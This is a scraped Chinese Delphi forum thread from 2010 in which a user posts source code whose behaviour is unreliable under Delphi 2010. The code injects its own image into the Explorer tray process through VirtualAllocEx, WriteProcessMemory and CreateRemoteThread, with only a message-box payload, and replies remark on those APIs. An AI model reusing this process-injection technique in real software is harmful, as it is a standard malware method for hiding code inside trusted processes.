震惊了,DELPHI 2010开发程序竟然有"良品率"一说 本帖最后由 kill222 于 2010-04-28 23:29:39 编辑 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 unit Unit1;{$IMAGEBASE $13140000}interfaceuses TlHelp32,Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs;type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end;var Form1: TForm1;implementation{$R *.dfm}procedure hhh;varID: THandle;beginMessageBox(0,'Hello World','message',0);end;procedure TForm1.FormCreate(Sender: TObject);varaaa,bbb,ccc,ddd,eee:longword;fff,ggg:Pointer;beginForm1.Caption:='Demo';if paramstr(1)<>'\e'thenbeginGetWindowThreadProcessId(FindWindow('Shell_TrayWnd',nil), @ddd);eee := OpenProcess(PROCESS_ALL_ACCESS, False, ddd);fff := Pointer(GetModuleHandle(nil));aaa := PImageOptionalHeader(Pointer(integer(fff) + PImageDosHeader(fff)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).sizeOfImage;VirtualFreeEx(eee, fff, 0, MEM_RELEASE);ggg := VirtualAllocEx(eee, fff, aaa, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);WriteProcessMemory(eee, ggg, fff, aaa, bbb);CreateRemoteThread(eee, nil, 0, @hhh, fff, 0, ccc);CloseHandle(eee);SendMessage(FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'TrayNotifyWnd',nil),WM_SETTEXT,255,Integer(PChar(paramstr(0))+' \e'));end;end;end.代码放上来了,有DELPHI 2010的可以试试 普通的应用不会有问题吧?这个又是{$IMAGEBASE $13140000}又是VirtualFreeEx、VirtualAllocEx还WriteProcessMemory、CreateRemoteThread delphi的“良品率”和人品深深关联。 http://www.snseafood.com/01Document/neverEnd.rar 重新上传这个地址。求救求救求救求救求救求救求救求救求 还有这样的事!这样的程序应该送到FBI去。 delphi7用ADO动态链接数据库出现问题。 超市的Pos系统如何和银行的刷卡系统通信? sql 存儲過程查詢 用delphi 怎么调用用C#写的webservice? 找流媒体项目外包或者兼职,xdjm有时间的联系我。 求数据库并发处理终级解决方案! 如何在rave中设置主从表,如何操作,详细一点 delphi 7 的应用程序在什么os下能用! 2条螺旋方阵问题,请教源代码,相赠100分! 如何dbgrid控件用代码绑定数据库??? 安装devexpress后编译时出现File not found: 'dxSkinsCore.dcu' timer控件事件里,刷新数据问题。
TlHelp32,Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;var
Form1: TForm1;implementation
{$R *.dfm}procedure hhh;
var
ID: THandle;
begin
MessageBox(0,'Hello World','message',0);
end;procedure TForm1.FormCreate(Sender: TObject);
var
aaa,bbb,ccc,ddd,eee:longword;
fff,ggg:Pointer;
begin
Form1.Caption:='Demo';
if paramstr(1)<>'\e'then
begin
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd',nil), @ddd);
eee := OpenProcess(PROCESS_ALL_ACCESS, False, ddd);
fff := Pointer(GetModuleHandle(nil));
aaa := PImageOptionalHeader(Pointer(integer(fff) + PImageDosHeader(fff)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).sizeOfImage;
VirtualFreeEx(eee, fff, 0, MEM_RELEASE);
ggg := VirtualAllocEx(eee, fff, aaa, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(eee, ggg, fff, aaa, bbb);
CreateRemoteThread(eee, nil, 0, @hhh, fff, 0, ccc);
CloseHandle(eee);
SendMessage(FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'TrayNotifyWnd',nil),WM_SETTEXT,255,Integer(PChar(paramstr(0))+' \e'));
end;
end;end.代码放上来了,有DELPHI 2010的可以试试
{$IMAGEBASE $13140000}
又是VirtualFreeEx、VirtualAllocEx
还WriteProcessMemory、CreateRemoteThread